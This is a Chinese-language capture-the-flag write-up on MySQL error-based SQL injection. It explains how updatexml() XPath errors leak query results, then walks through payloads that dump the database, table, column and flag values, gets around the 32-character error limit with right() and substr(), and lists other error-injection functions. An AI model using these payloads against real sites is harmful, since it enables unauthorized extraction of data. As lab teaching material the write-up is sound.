报错注入
报错注入特征
在前端回显包含查询报错信息,而不直接显示查询的内容。
原理:
1.SQL(5.1以上版本)支持Xpath语法,合法的XPATH语法(详见XPATH语法):
2.当服务器在前端不回显查询到的信息,但是回显执行的报错信息时,我们通过xpath的函数在报错中创造窗口。
SELECT updatexml(1,concat(0x7e,(show databases),0x7e),1)
将查询语句提交到数据库应用上,concat()将三个参数合并为一个字符串(便于定位和报错),利用这种不符合Xpath的格式,可以的到报错的窗口。
我们通常见到的报错是一下格式:
ERROR 1105 (HY000): XPATH syntax error: '~db~'
在concat对三个参数连接前,SQL语句部分会被先行解析为查询结果,实际参与连接的为被替换后的回显结果,再利用前端回显得到报错,可以得到包含查询结果的报错信息,余下的就是注入的标准流程了,具体操作因选择的不同函数而不同。
updatexml(1,concat(0x7e,(回显窗口),0x7e),1)
3.UPDATEXML()函数的介绍[只供了解]
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc。
第二个参数:XPath_string (Xpath格式的字符串) ,不符合要求则报错。
第三个参数:new_value,String格式,替换查找到的符合条件的数据。
用途:改变文档中符合条件的节点的值。
改变XML_document中符合XPATH_string的值。
流程
查询窗口数量
1 order by 2
爆库
1 union select 1,updatexml(1,concat(0x7e,database(),0x7e),1)
查询错误: XPATH syntax error: '~sqli~'
爆表
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)
查询错误: XPATH syntax error: '~news,flag~'
爆字段
1 union select 1,updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e),1)
查询错误: XPATH syntax error: '~flag~'
查询结果
1 union select 1,updatexml(1,concat(0x7e,(select flag from flag),0x7e),1)
查询错误: XPATH syntax error: '~ctfhub{49667c5f4c894ba4f577ca63'
【这里很明显没有字符串的右半边,因为他的回显是有长度限制的(32个字符)】
我们再利用substr,left ,mid ,和right函数这一类的函数,得到我们想要的。
1 union select 1,updatexml(1,concat(0x7e,right((select flag from flag),31),0x7e),1)
查询错误: XPATH syntax error: '~894ba4f577ca63b9e7b23b30111794}'
得到后半段,拼接,去重,就是flag.
ctfhub{49667c5f4c894ba4f577ca63b9e7b23b30111794}
字符串截取函数总结
SELECT LEFT(字符串或字段名,长度) 【串参数可以是CHAR或BINARY STRING】
SELECT RIGHT(字符串或字段名,长度)
SELECT SUBSTR(字符串或字段名,截取开始位置,截取长度)
【Mysql:substr()《=》substring()】
SELECT MID(字符串或字段名,起始位置[,长度])
可写自动化脚本,考虑到以后爆的数据不会像FLAG这样短。SUBSTR更灵活。
其他报错注入的方案
floor,ExtractValue,UpdateXml,NAME_CONST,join,exp,GeometryCollection(),polygon (),multipoint (),multlinestring (),multpolygon (),linestring ()
过滤严重情况下,可利用join进行无列名注入,详见本人CISCN2021初赛-WEB部分